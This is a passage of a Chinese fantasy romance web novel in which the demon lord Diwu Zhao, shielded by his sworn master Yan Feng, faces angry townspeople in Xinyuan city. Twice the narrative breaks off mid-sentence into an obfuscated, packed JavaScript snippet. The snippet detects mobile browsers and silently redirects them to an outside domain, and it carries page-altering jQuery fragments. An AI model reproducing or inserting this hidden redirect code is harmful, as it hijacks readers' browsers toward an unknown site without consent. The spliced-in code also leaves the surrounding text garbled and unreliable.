鄢丰也端详着他,看他此刻苍白的脸色恢复了些许,头上的汗也没了,呼吸平稳如常,似乎没事了,放了心,只看着他,并不言语。 半晌,第五昭突然走近,朝她伸出手。 鄢丰疑惑的低下头,才看到他手套不知何时褪下,手心被指甲掐出血来,已然凝固,此刻那只手在她衣领处颇为笨拙的理了理,触及鄢丰的目光他才顿了顿:“……衣领乱了。” 鄢丰看他半天也没弄好,一笑:“我自己来吧。” 第五昭便放下手,垂下眸,不再看她,径直往前走:“走吧,不是要进城吗?” “你们要进城吗?”宋闽看向鄢丰,“你们认识路吗?” 鄢丰蹙眉:“路?” 宋闽点点头:“你不知道吗……自从那个不中用的魔君第五昭被叛军占领了一半地界以后,”他忿忿道,“我们就全都搬到小结界里啦。啊!”他突然意识到什么,捂住嘴巴,怯怯看了鄢丰一眼,又对上第五昭冷冽的眼神,往鄢丰身后缩了缩,小声说,“……我不该这么说的,对不起,姐姐……” 鄢丰宽容的朝他笑了笑:“没关系,你们很讨厌魔君吗?” 宋闽想了想,指指第五昭:“他也是魔君的手下吗?” “是啊,”鄢丰道,“没关系的,我在呢,你想说什么都行。” 宋闽道:“我和姐姐倒是无所谓啦,不过你们既然要进城,可千万别提起和魔君有关系什么的。……反正,大家都不喜欢他。” 他声音越来越小,在鄢丰的安抚下过了很久才恢复精神。 进了城果真一片萧条,看不到一个人影。宋闽自告奋勇带他们进城去,兜兜转转拐了不知道几个弯才找到结界所在。 “就是这里了。” 宋闽指指眼前虚空的门。 “谢谢你。”鄢丰蹲下身,摸摸他的头,站起来正要迈步进去,衣摆却被宋闽拉了拉,她疑惑的回过头。 “你们能不能少废话?”第五昭不耐烦道。 宋闽却气鼓鼓看了他一眼,不顾他的打断,深呼吸一口气像是给自己打气,似乎是鼓起很大勇气才开的口:“姐姐……”他低下头从衣襟中掏出什么东西来,递给她,小心翼翼观察她的神色,“对不起……我、我是故意撞上你的,是想、是想从你兜里拿这个。” 那是一颗上品灵石,灵气很足,从内而外将石子照得流光溢彩,煞是美丽。 鄢丰接过灵石端详了一会儿,宋闽忐忑的等待着审判,第五昭也看向她,鄢丰却又蹲下来,慢慢将灵石塞进宋闽手里:“一颗灵石罢了,算是我送给你啦。” “真的?”宋闽先是眼睛一亮,惊喜的看向她,随后又低下头摇摇头,“我不能要……姐姐救了我,我却偷了姐姐的东西……” “这样的灵石我还有很多,分给你一颗也可以哦。”鄢丰声音温和道,却不容置疑,没再接过他还回来的那颗灵石,转身迈入了结界。 . 23. 风动(中) . 结界内与结界外果真如两个世界一般。 比起方才习以为常的清冷安静,一脚迈入结界就像进入另一个世界,喧嚣躁动,人群熙攘。 第五昭向来讨厌这样的场合。 站在其中,自己也不过是芸芸众生中的一个,不惹谁的眼,却也管不了其他人,任这些杂碎在耳边叽叽喳喳个没完,他只想将他们全杀了才干净。 然而碍于鄢丰——碍于与鄢丰那该死的心魔誓,他不得不收敛起杀气,阴沉着脸快步往前走,只希望赶快离开这个嘈杂的闹市。 “阿昭,难得进城,我们在集市上转转吧?” 第五昭停下脚步,在爆发边缘,蹙起眉头:“你不是累了,要来休息么?” 迎着他怀疑的目光,鄢丰不以为意地笑了笑,却不答话。 她果然别有目的。 第五昭深深看了她一眼,一手探入袖中拿出传讯符来,不动声色地捏个粉碎。 微弱的气息波动她并未察觉,看了他半天,似乎读懂了什么,然而又摇摇头,什么都没说。 第五昭怀疑更甚,鄢丰却已经走上前来,自顾自道:“我们上那边街市上看看吧,这里……” 第五昭冷笑:“这里没有你想要的东西?” 鄢丰不疑有他,点点头:“我瞧着那边热闹些,应该很快就能找到了——” “姐姐。” 鄢丰奇怪的回过头,看向身后跟过来的宋闽,神色柔和下来:“你是不是有什么事情,需要我们帮忙?” 第五昭气结的看着身后阴魂不散跟着来的宋闽,杀心顿起,一股钻心碎魄的疼痛再一次袭来。 他眉头紧皱,断断续续听到宋闽说的话: “你救了我,可是、可是……能不能求求你也救救我的姐姐?” 第五昭艰难的往她的方向走了两步,这小子得寸进尺,不知分寸,实在该死。 然而那个咒印在无形当中竟比永夜城那一次束缚的更加牢固,他回过神来才发现自己其实根本只是踏出几寸距离,却感觉已经走过万里的路。 鄢丰一愣,并没注意到身后他的状况,宋闽手舞足蹈不知道比划的什么,眼圈都有点儿泛红,鄢丰耐心的点点头,片刻后回头看向他。 “阿昭,我随他去去便回,你帮我订个客栈,可以吗?” 第五昭心中冷笑,他生平从未见过如此好管闲事的人,比起鄢年来还更甚几分,真是世间罕见,早晚有一天她会为此付出代价。 ——其实已经付出过代价了,这个人真是半点记性也不长。 “阿昭?” 鄢丰见他不答话,也不动,手在他眼前晃了晃,又喊了他一声。 第五昭微弱的点点头,她并未发现异常,快步跟着宋闽走了。 他看着她远走的背影,魂魄心口的疼痛也随着两人渐行渐远的脚步轻了,直到消失殆尽,让人以为是不是幻觉。 第五昭怔愣的抚着心口,回过神来。 ——也罢,假如不是她这可称愚蠢的善良,怕是他早已葬身新垣城前那座密林之中了吧? 周身魔气缓缓散去,他仍一动不动站在那里。直到片刻后,黑影一闪,温石出现在他面前:“君上。” 温石实际上一直在附近的几座城奔走,一面看有没有转圜的余地,再说服别的城主出兵平叛,一面也随时待命。接到第五昭的传讯符他便很快来了,朝着第五昭一拜。 鄢丰与宋闽早走远了看不见人影,第五昭顿了顿,转过头来:“嗯。” 温石似乎察觉到他方才的视线,试探着问:“鄢姑娘那边,还需要属下派人……” “盯着她,”第五昭毫不犹豫道,再次看向已然被人群埋没的远方,“看她非要来新垣城,到底有什么目的。” . 温石早先来过新垣城,住过几日,也是想说服城主第五霖出兵,然而终是没能成功,只是住了几日还有些印象。 他带着第五昭走到一家客栈前:“君上稍等片刻,我去办就是。” 这家客栈财大气粗,有四层之高,装裱低调奢华,甚至点菜、开房的地方也设在二楼,单有一个房间专办,秩序井然。 同时又临近城中央,挨着城主府建,显然主人大有来头,保此处安定不受歹人闹事。 第五昭百无聊赖的坐在雕花木桌前,人来人往,各自有事忙,没什么人注意到他,他便撑着脑袋观察着来往的人。 大都是富商,或者旅居的贵族,一眼便看穿了,也有些认出他来,远远一作揖,也有避之不及,看到他便快步上二楼去,想是准备退房? 无甚稀奇。 第五昭耸耸肩,随手捻起桌上一块儿点心,眼前却闪过一个颇为眼熟的人来。 正是当日永夜城集市内,险些被他掐死的少年。 第五昭啧一声,正要起身,不想对方动作却更快,三两步撑到他的桌子上,第五昭不耐的蹙起眉,面色不善的看向对方挑衅的神色:“你到底……” “哟!这不是我们魔君大人嘛!” 这客栈本就寂静,人虽多,却个个话语声不答,要么就干脆闭口不言,出了门才开口高谈阔论。此刻这少年却刻意提高声线,在这客栈当中显得分外清晰,激起一阵喧嚣来。 “魔君大人这是……来游山玩水?” 此刻他面上完全没了先前在鄢丰面前的谦恭温驯来,挑衅的看着他:“大家伙都来瞧瞧啊,认识认识我们的——”他一字一顿,口气却调侃而讥讽,“魔、君、大、人!” 这一声将所有人的视线都吸引过来,无数视线齐刷刷看向第五昭。 窃窃私语声越来越大,烦的他头一阵痛,他沉着脸站起来要走,少年却很快挡在他面前:“别走啊,大人。可是小的打搅您了?您别跟小的一般计较,小的这就……” 第五昭冷着脸看着他,手指再次掐住他的脖颈,慢条斯理欣赏着对方垂死挣扎的模样,笑起来:“再说两句啊,”另一手指甲划过他的脸,“我怎么会跟你计较呢,再说两句啊……” “我爱听。” 客栈一瞬间落针可闻。 任谁瞥见他此刻的神色都要不寒而栗,谁也不敢再多说。 第五昭掐着少年的脖子,也不再收紧,就看着对方涨红脸挣扎的样子,不语。 气氛僵持起来,那边温石才办完走出来便看到这一幕:“……君上!” “啪!” “第五昭!你滚出新垣城去!滚出去!” 第五昭未及防备,被对方桌上的一盘糕点正中右脸! 他一愣,摸了摸脸上脏污的糕点屑,眸光一转,看向第二个挑衅者,半晌,忽而低低笑了起来: “哦?” 温石此刻也反应过来,正要下楼,第五昭却已经将那少年扔在地上,一步一步,朝着喊话的人走去。 十步以内,必杀一人。 一步、两步、三步…… 那把还被他背在背上的长剑发出冰蓝色的光芒,低低嗡鸣,他却恍然不觉。 八步、九…… “阿昭!” 第五昭脚步一顿,回过头,看向匆匆赶来的鄢丰。 理智瞬间回笼,他下意识抬起手擦了擦脸上的污渍,却越擦越花,蹙着眉看向她:“……你怎么找来的?” 鄢丰长出一口气,看他停下来便走近,下一刻便被飞来的精致小碟拦住! 鄢丰皱起眉,看向攻击的人。正是方才的挑衅者。 那男人看似魁梧,实则并没什么魔力,只是此刻胸口上下起伏,全一幅不要命的模样,像要将第五昭和他的所有同党杀之后快、千刀万剐般狠厉。 鄢丰深呼吸一口气,正要开口,第五昭却已然耗尽耐心,脚步一动便出现在那人身后! 大汉竟全然不惧,怒吼着同他缠斗起来! “——够了!” 那大汉听到声音直直愣住,朝着声音来源看去,第五昭却毫不犹豫,抓住机会,一击毙命! 钻心的疼痛迫使他的手停在对方面前一寸,再不得进分毫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557274|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“闹够了没有?!”来人穿着一身黑衣,大步走到大汉面前,沉着脸,一字一句,掷地有声,“新垣城主第五霖,不知君上远道而来,有失远迎,还望——” “见谅。” . 第五霖自派人将第五昭一行三人安顿到城主府歇下后,只撇了鄢丰一眼,便冷哼一声,匆匆离开。 第五昭不以为然的看着他离开。这个小叔父向来如此,话也不肯说,小时候对他尚且冷脸,何况今日。 他拒绝出兵,已然是表明了态度。如果不是此番有人闹事,他是绝不肯见他的。 “你和你这位小叔父,脾气秉性倒是很像。” 鄢丰看了看第五霖的背影,笑道。 第五昭垂眸扫了她一眼,哼了一声,站起身往外走:“明日便回主城,就在这里住一夜。”大步离开。 第五霖手下的管家为他们三个人安排在了一个小院,东南西北任选。第五昭习惯性走向东边的房间,待了一会儿,温石叩门而入:“主上,上回属下到人魔交界那个裂缝处捉到的魂魄,近日有所异动。” “异动?” 杀了永夜城主那一战后,温石离开,一方面为了游说各个城主出兵,而还有一个任务,便是去人魔交界之处探查。 人魔两界交界处,原本便是灵气与魔气对半分,一半分成九万仙阶,一半化作七十二深渊,人类要来,便要穿过七十二深渊,魔族要去,也同样要爬过九万仙阶。 而这之间,不知哪日竟生出裂缝,细细算来,正与一桩旧事时间温和。 温石去探查一番,带回一个气息奇怪的魂魄来。那魂魄似乎穿过了虚空来到这里,虚弱无比,放在温石那里温养着,近日才有了动静。 “不错,”温石道,“属下当日从永夜城后山捡了一朵残败的永夜花,四瓣助君上魂魄苏醒修复,另一瓣,则养了这魂魄。可是前些日子他突然醒来……” 温石凝重的看了第五昭一眼:“全无神智,疯癫异常,借永夜花竟朝着属下攻击,似是想——夺舍。” 第五昭抬眸看向温石,眼底并无波澜:“看来已经解决了,便不必再多言。” “可是君上,若有问题的不是那魂魄本身,而是永夜花……”他悚然看着他,“那君上也……”他单膝跪地,“属下当日别无办法,才用了永夜花来温养君上的魂魄,倘若那花有问题……温石,万死难辞!” “急什么,”第五昭手指一敲桌子,漫不经心问,“鄢丰那边,有什么动静?” 温石叹口气,只得站起来,不再继续方才的话,看向对面鄢丰房间的方向:“同往日一样……有结界竖起。” “又是阴阳家那个人?” 温石点点头:“应该不会错。” 第五昭眯起眼睛也看向对面,久久不语。 温石抱拳告辞,第五昭却突然将他叫着:“等等。” “鄢年的事情,查到了么?” . “黑子还是白子?” “黑子,今日被你喊来这里——阳有损。” 此时此刻,西面的房间中,眼覆黑布的男人正闲闲坐在榻上,在桌上棋盘落下一子,嘴上的话却与棋局毫不相干:“这城主府倒是布置挺好。” 鄢丰不语,泠泠落下一子:“衡枢,我没有心思和你玩笑。” 衡枢也很快落子,拿走被吃掉的白子:“我也没有啊,鄢道友,也烦请你,认真一点同我对弈。” 鄢丰耐着性子思索着下一步棋,衡枢又道:“令妹的事情,并非我有意隐瞒。” “啪”,鄢丰落子,吃掉大半的黑子,他也不恼,随手下了下一步:“我也是送她入轮回的时候,才察觉异常,只是碍于时机,没来得及告诉你罢了。如今你既已知道,何必来问我?” 鄢丰捏着棋子,指节泛白:“已经知道?你说……我该知道什么?” “你不明白?就是,”衡枢站起来,“欠着第五昭的,不是你的妹妹,而是——” “夺舍之人。” . 24. 风动(下) . 翌日,第五昭是被一阵喧嚷声吵醒的。 他烦躁的推开门,先看到的是此刻正坐在树下拭剑的鄢丰。 她早早便起了床,这棵树下对着积年的落叶,已然死去、枯朽,她却挑起无数飞扬的枯叶,纷纷扬扬在空中,无端点缀出鲜活。 自从万魔窟出来,鄢丰便每一日都会早起练剑。 第五昭这才想起昨日仓促离开,还没有将她的剑还回去。此刻她手中拿着的原是一把木剑,不知从哪里找来的,可是拿在她手里一挽剑花也不觉得违和。 “出来!” “别躲在里面!” “出来!滚出城主府!滚出新垣城!” “第五昭!你杀我一家五口人,怎么有脸住在城主府!” “快滚出去!” “你自己挑起的战事,别拖累我们!” 吵闹声是从门外传来的,一阵人群喧嚷、刀斧砸门的声音,越来越近,而后伴随着听不大清交杂在一起的咒骂声。 鄢丰似有所感的看向走出门的第五昭,看了一眼颤巍巍震动着的门,若无其事道:“早啊,阿昭。” 第五昭不语,蹙着眉将那摇摇欲坠的门打开。 为首的人原来还是昨天那个大汉,此刻门突然被打开他险些跌了一跤,他恼火的看向第五昭:“你故意的是不是?!” 第五昭嗤笑一声:“我当是谁呢,”对方人多势众,第五昭却很习以为常,漫不经心打量了这大汉一眼,道,“你以为如果不是第五霖拦着,昨天我会不杀了你?” 大汉不怒反笑,回过头朝着身后的一大帮人喊起来:“大家瞧瞧!只会杀人灭口——这便是我们的好魔君!” “——这样的人,又怎么配做我们魔域的君上?!” 第五昭冷笑一声,正要将这聒噪的家伙杀了,那痛感不期然又来了,他竟连动弹都动不得一下。 他双手握成拳,想强行冲破心魔誓,却无论如何也不管用。魔气积蓄了一点又被放掉,杀气荡然无存,杀心却愈甚。 “啪!” 额头一痛,人群后探出个少年来,吐着舌头朝他扔出一枚果子,紧接着,看他不曾反抗,以为他是心虚,来的人多是集市上的小贩,此刻还背着货物,竟都不要钱似的朝他狠狠砸过去! 第五昭站在原地,低低笑起来,分明脸上几乎每一处都流出血来,衬得脸颊更加苍白、诡异,他却始终低着眸笑,似乎看到什么好笑的事情,笑得肩膀都在颤抖。 半晌,他突然抬起头,此刻身上、脸上狼狈无比,森然转过头,看向了身后的鄢丰。 ——瞧你做的好事啊,鄢丰。 世界本如此,何止非黑即白,分明是,非是我杀人,便是人杀我。 又凭什么用一个冠冕堂皇的理由、誓言,将他逼迫至此?! 鄢丰此刻也正蹙着眉看着这边,手抚着木剑,似乎在犹豫什么。感受到他的视线,她反而缓缓站起来,而后朝他露出一个安心的笑。 嘴唇一张一合,上下相碰,他并不知道她在说什么,人群嘈杂不断,似乎只是在泄愤,也并不知道想要什么样的结果。 然而他却感到平静下来,愣愣的看着她,忘记前一刻的心绪翻涌、杀意浓浓, 鄢丰终于从树下站了起来,拍拍衣摆灰尘,笑得一如既往。 她像是下定了什么决心,一步一步朝他走来。 第五昭想,她也会和他们一样,站在他的对面,唾骂他吧? 但又或许—— 鄢丰脸上神色如常,甚至笑起来是温和、宽容、鼓舞的。 他又突然觉得有三分希冀,并七分忐忑。 那颗人造的心,此刻律动声如此清晰,将所有的微妙而酸涩的情绪一股脑倾倒向他,一下、两下,似乎也随着她靠近的脚步慢慢加快。 你又在奢望什么呢? 假如转机会在此刻降临,那早该降临。 既然过去没有,如今又怎么会来? 可是心此刻像一张琴,被那愈发快速跳动起来的心脏拨动,一声、一声,又一声,发出无声却震耳欲聋的共振。 又像一池早春水,分明还结着终年难化的冰霜,却被不住跳动的心、不住吹动的风、偶然路过的蝶,轻轻一碰,漾起无数涟漪来,久久也不曾散去…… 第五昭不由自主地看向她,他也不知道自己此刻是何种神情,只知道一定、一定很难堪。 然而下一刻心跳声便停了下来,迅速的消弭、褪色,一层黑色的纱将它牢牢裹住,密不透风,再也不会露出任何一块儿软肉。 ——她已是头也不回的、毫不犹豫地,径直走向了对面的人群,看也没看他一眼。 他冷笑起来。他又在奢求什么呢?这个世界上,有谁愿意是留在他身边的呢? 所遇者,毫无例外,要么是满口谎言的骗子,要么是假仁假义的蠢人。 留给他的只有一个挺拔的背影,却不如预想中与她渐行渐远,而是站定在他面前。分明她离他还有一段距离,却无端感觉她倾泻而下的发尾轻轻扫过他的指尖,带起一阵痒意。 她伸开的手臂将面前指指点点的人遮住,在他视野之中,尽皆支离破碎。 她就这般安静的站在他面前,一个字儿也不曾说,任凭群情激愤,都不动如山,稳稳站定。 “姑娘可知这第五昭都做过什么,竟执意与他为伍?!” “是啊,他为了魔君这个位置,可是眼也不眨,亲手杀了自己父母!” “唉,前魔君魔后都是顶顶好的人,怎么会生养了这样的白眼狼来……” 鄢丰默不作声地听着他们罗列的罪行。 “他嗜杀狠辣,姑娘莫不是不知道永夜城的事吗?!” “是啊,姑娘莫要被他蒙蔽了啊……” “如果这些姑娘都可无动于衷,那我呢!”为首的大汉看她仍不退让,却也不愿伤及无辜,撸起袖子露出右臂的假肢来! “这便是他为了登上魔君之位做过的事!姑娘修仙之人,难道当真是非不分吗!” 那假肢接合处,即便已然愈合多年,看来仍是触目惊心。 “他杀我全家,与那祁锋联手,助纣为虐,生生将我的家人做成傀儡!” 无数人站出来,声声泣血。 鄢丰眼中终于还是浮现哀恸之色,一一耐心听完,深深看了第五昭一眼。 他于是讽刺的笑了笑—— 看吧。看到了吗,鄢丰。 这就是我。 桩桩件件,是他做的如何,不是又如何? 他再次试着冲破束缚,脑中只有一个念头—— 将他们全杀了,便清净了! 鄢丰却像是察觉到了一般,忽然后退几步,突兀的握住他的手,看着他,一字一句: “阿昭,我相信你。” 他几乎以为自己听错了,不可置信的望着她澄澈的眼光。 他再听不到任何一点别的声响,心被填上鲜红的色彩,冰霜绽开裂痕,应声碎裂,她的声音近在耳边、又远在天边,掷地有声,将所有的防备、凝霜尽皆敲得粉碎,春风拂面,春水消融流动起来,一切都在那些话里变得柔软、无所遁形。 他抚上心脏的位置,一动不动看着她。 静默之间,竟真起了一阵风来,人群还在不断朝着她身后的他的位置砸着东西,口中咒骂着,他竟不可抑制的想—— 朝他砸过来的这枚果子,会是什么样的味道呢。 起风了。 鄢丰一身白色道袍猎猎作响,长发微动,随风飘扬。 她始终看着他,一瞬不瞬,不管身后发生的一切,良久,长叹一声,眼底藏下三分期许,终是道: “如果你不承认,我也会……相信你。” 第五昭呼吸一窒,心都漏跳一拍,张了张嘴,看着她期许的目光一时竟说不出一句话来。 良久,他终是偏过头去,避开她的目光,轻声说: “……若我说,他们说的,都是我做的,又如何?” 期许的神色淡去。 她也许会失望的看向自己—— 也许会更干脆些,会索性替这些人除了他,将他斩杀,成就她又一桩功德。 然而她从来不按照他心中设置的剧本行事。 闻言她也只是无奈的摇摇头,安抚的笑了笑,似乎听到了意料之中的答案,左手一用力将他推到后面几步,再一次挡住他的视线,朗声道: “既然他已经承认了,诸位,便容我代他受罚罢。” 人群哄然:“这是什么道理?!” “姑娘一味偏袒他……” “我与他,是正经行了拜师之礼的。我是他师父,管教不严,是我之过,该罚。” 字字句句,掷地有声。 第五昭不可置信的睁大眼睛,却一步也挪不动,人群和鄢丰说的做的一概远去,只有心跳声有力平稳的宣示着一切。 时间好像静止,他不知道人群是如何被遣散的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557275|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只知道鄢丰最终也同他一样狼狈,甚至更深,浅色衣袍都沾满污渍,无奈的笑了笑:“看来今日我们走不了,”她眼底神色复杂,最终却还是开怀的笑了两声,“借住人家的屋子,最终却弄成这样……” 第五昭只怔怔望着她,她似有所感的和他对视了片刻,突然放缓了声音,弯下腰从下往上看他:“阿昭,”她伸出手,握住他此刻冰凉的右手,“我带你回家去,好不好?” 话音未落,刹那之间,周边一切都飞速褪色,只有眼前这个缓缓走来的人,轮廓渐渐变得清晰,眉眼都温和、素净,此刻黑色眼瞳一弯,是他从没见过的月牙的形状。 他眨眨眼睛,挣脱开她的手,要将黑色的手套褪下,可是越是急躁,手套越是顽固的黏在他手上,他红着眼角对上鄢丰平和的视线,又突然平静下来,低下头慢慢的,一根一根,将手套脱了下来。 苍白不见阳光的手张开来,在无意照射而来的一抹光里被勾勒得很漂亮,骨节根根分明的被映照出来,最终平稳而坚定的,握住了她伸在他面前的手。 风竟无休无止的抚过脸颊,春寒料峭的风,也变得和煦温暖。 从前并非没有像这样,有人替他辩白的时刻,然而却只有此时此刻,那颗心砰砰跳动,随风而动,分外明晰。 第五昭眼睛一阵酸涩,看着滚落在地上的浆红的果子,想,那一定是—— 酸甜味的。 鄢丰紧紧回握住他的手,再一次轻声重复了那句话,像是抚慰: “阿昭,我们回家去,好不好?” 第五昭抿唇,第一次感到手足无措,不知道该如何作答才好。 可口中却已下意识讥讽着脱口而出:“家?——我向来,就没有。” 那座毫无人气的魔宫,那是他唯一的栖身之所。 从出生那一年起和此后的几百年,不外如是。 家,他向来就没有。 鄢丰定定看着他,没有说话,却忽然拉着他的手,速度很快,带着他逃离城主府,飞身攀上万家灯火闪烁的屋顶,一个、一个、又一个,浮光掠影,却一步也不停歇。 那些都不是他的家。 那一日,鄢丰竟带着他,不管不顾的离开了新垣城,硬是闯过魔域七十二深渊,跨过人间与魔域之间无端树起的天堑一般的巨大裂缝,最终停在一间落了锁,全是灰尘的院门前。 ——鄢丰真的把他带回了家。 也是鄢丰去昆仑之前的家,是她此生唯一怀念之处。 她终于停下来,看向他,抬手一擦脸上的汗水,喘着气绽出一个笑来。 她鲜少露出如此快意的笑容,分明赶路赶得气喘吁吁,却反而开怀,露出牙齿来—— “那……这儿以后就是你的家。” . 魔域与人间,再是轻功好,力量强,也终究路远。 那一日从正午到黄昏、傍晚,她带着一股子疯劲儿带着第五昭硬是来到她的家,只为了看一眼而已。 此刻待到两人马不停蹄,再次回到城主府,已然是深夜了。 鄢丰和第五昭轻手轻脚的飞下屋檐,稳稳落地,回到凌乱的院子,却发现不知何时已然被收拾得干干净净,再无一点儿脏污,院中突兀的立着一个人影,与刚刚站稳的两人正好对视,面面相觑。 片刻后,看清对方样貌,第五昭不以为然的笑了一声,转身拉着鄢丰就走。 “站住!” 第五霖见他无动于衷,蹙着眉,沉声喊道。 第五昭却恍若未闻,头也不回,脚步一顿不顿往东边自己的房间去。 鄢丰回头看了一眼面沉如水的第五霖,心中叹气,直到第五昭回到房间,才轻轻合上门。 第五霖却还没走,鄢丰一愣,随即走到他面前,恭恭敬敬对着第五霖行了一礼: “城主大人。” 鄢丰观察着他的神色,歉然道:“我们本是借住在此,倒给您添了麻烦,让百姓误闯进来,弄得鸡飞狗跳,烦请见谅。” 第五霖却冷哼一声:“哼,那些人,本就人我让人放进来的。” 他这般毫不掩饰,鄢丰反而一愣,半晌才问:“城主大人……此话何解?” 第五霖却不动了,眸光一转向别的方向去。 鄢丰一笑,想了想,了然道:“城主大人深夜来访,想必是还有要事相谈,不如到鄢丰屋里坐一坐,慢慢谈便是。” 对方这才哼了一声,一撩衣摆,跟着她迈步进了屋。 . 25. 芽蘖(上) . 第一缕灯光遗漏进庭院的时候,鄢丰便已然穿戴好了衣裳,打着盏灯,悄悄出了门,直到晌午才回到城主府内。 亭台水榭,枯树耸立。 小小的侧院,此刻门正敞开着,第五昭站在院子门前,盯着地上的一块儿地砖出神。 “阿昭?” 一双素白长靴出现在视线当中,第五昭抬起头,刚好看到鄢丰正含笑看着他。 “你出去做什么了?” 鄢丰回头看了躲在身后的宋闽一眼,正要开口,第五昭却又转移了视线,看向一边的假山,补充道:“昨天就告诉了你,今天回去。” 鄢丰一愣:“出了什么事情吗?” 第五昭垂眸:“……嗯。” 鄢丰反而为难了片刻,斟酌着不知如何开口,第五昭这才注意到她身后还躲着个小孩。 那日在客栈的风波再加上城主府前堵门的百姓,魔君第五昭就住在新垣城的城主府的事情早已在城中传开了。宋闽当然也不例外的听说了,如今知道自己当着当事人的面说了人家坏话,很是怯懦,紧紧拽着她的衣角不肯放开,整个人都藏在她身后才感到放松些许。 他不满道:“你把他带来干什么?” 鄢丰温和的笑了笑:“其实是有一件事情想要你帮忙,但既然有要事需要处理……”她试探着道,“那我们今日就回去罢,总归不是什么大事。” 第五昭却皱起眉看向她,没有说话,眼中三分狐疑,更多的则是好奇。 鄢丰见他有兴趣,带着宋闽呵第五昭到自己屋里,给宋闽倒了点水,递了盘点心,才坐下。 第五昭难得耐心,等她终于安顿下来,才开了口,语气却已经冷了下去:“第五霖昨天同你说了什么?” 鄢丰不期然转过头与他对视,第五昭正紧紧盯着他,眼中固执而阴冷,好像她若是说错了什么话,下一刻他就要将第五霖千刀万剐了不可。 鄢丰笑了笑:“没什么,只是城主说他有事情拜托我,我应了下来,可事到临头才知,原来我如今凡人之身,其实根本做不到。所以只能来找你。” 鄢丰观察着第五昭的神色,说出这番话来原本就没想着对方情绪能缓和下来,无非是一番试错罢了。 然而,话毕第五昭神色竟真的稍霁,甚至率先移开了视线,低下头为自己斟了一杯茶,认认真真瞧着茶沫起起伏伏,轻啜了一口,没有说话。 鄢丰看了一眼门外的枯树:“城主同我说,新垣城内可治病救人的草药,只生长在一处魔障密布的森林之中。城主爱妻心切,想我帮忙采一些浮梦草来为夫人调养身体。可我上午同阿闽去瞧了一眼,那一处魔气太强,浮梦草本又稀有,采摘需要耗费魔气,于我而言天然困难。” “哦?”第五昭手中茶水微微荡漾,他想起什么似的抬头看向她,“你如今灵力不是已经恢复了么?何况你……”他瞥了一眼旁边的宋闽,后者瑟缩一下,不再言语。 鄢丰倒是并不避讳:“我当初离开昆仑,道心尽碎,灵脉全废,如今虽然已然有重建之象,积蓄少许自保之力,却道心终归还未大成,那一处迷障甚重,远远一望便知,以我之力无法企及。” 她看了第五昭一眼,对方竟微微笑了笑,不知在想什么,没有答应也没有拒绝。 鄢丰心中一阵忐忑。 半晌,他道:“爱管闲事的毛病真的应该改改。” “虽然你所说也不错,不过其实我答应他,也算是为了你。” 见第五昭看向她,鄢丰继续道:“如今飞羽叛军声势浩大,我们这边却近乎孤立无援,形势总归是不太好,”鄢丰竟真的认真分析起来,没有注意到第五昭那边似乎被取悦到,发出一声低笑,顿了顿,她再次看了第五昭一眼,“此事对你而言不过举手之劳,只是费了点麻烦,可是若是事成,城主也已答应我,会考虑支援主城这边的事情。” 她一耸肩,笑了笑:“我想来想去也想不到必这更划算的买卖,就答应了下来。” 第五昭盯着她,半晌,问:“……在哪?” “我让阿闽带你去。” 宋闽怯怯的看了鄢丰一眼,手足无措的又看了看第五昭,扁了扁嘴,似乎有些退却。 第五昭蹙眉:“你不同我一起?” “这事对你而言不算难,你既然答应了我自然放心。我去了也平添累赘。” 第五昭撇了宋闽一眼:“他就不算累赘?” “带路的事情,阿闽比我更合适。” 第五昭没有接话,却死死看着她,似乎想从她眼中看出什么来。鄢丰却始终不言不语,沉静的看着他。 半晌,他终是冷哼了一声,妥协的跟在宋闽身后,末了还回头看了她一眼。 鄢丰看着他们的背影,猛然对上他稍显锐利的目光,一愣,却又突然想起什么,复又叫住他: “阿昭,等等!” 第五昭果真立刻停下来,回过头。 鄢丰迎着他有些期许的目光,眨眨眼:“没有武器终归容易受伤,你记得带上我的剑。” “你不用?” 鄢丰笑了笑:“等你回来再还我吧。” 她直到眼看着两人终于走远,再看不到人影了,才长吁一口气。 昨晚城主所言,竟果真有几分可信。 鄢丰不久后也离开了城主府,走向喧闹市集当中人潮最大的那一条。 . 第五昭直到三更声响才进了门。 他大步流星往院内走,径直走向自己的房间,对等在门外的鄢丰视而不见。 鄢丰无奈的叹口气,只能去敲他房门。 门半天才开,露出第五昭的脸来,他望着站在门口的鄢丰,半天不说话。 鄢丰问:“阿昭,采到药了吗?” 第五昭默了默,始终没有看她,最终还是道:“明天让那个宋闽给你,你再拿给第五霖吧。” 鄢丰失笑,脚步下意识往前走了一半:“本就是你做的,又是你的叔父,为何不直接拿去给他?” 第五昭蹙眉低下头看着她接近了一步的长靴,谨慎的退了一步:“你不睡觉?” 鄢丰嗅着他披风上淡淡的血腥味,看了他片刻,笑了:“好,那我明日去问宋闽要,顺便问问他山上的情况吧。” 第五昭不自然的看了她一眼,沉默的关上了门。 . 第五昭难得在这一日比鄢丰起的更早。 应该说,他早已摸清鄢丰起床的时间,规律的很,他今日比她早了两个时辰。 第五昭看着对面紧闭的房门,心中一松,缓缓推开门—— 他得去找宋闽那小子一趟,实在不行索性灭他的口,省得说出些什么不该说的。 他刚推开门,门口竟又聚集了一群百姓。 他回头瞥了鄢丰房门一眼,“咚”一声一颗死不瞑目的头颅咕噜噜在他脚边滚了几圈。 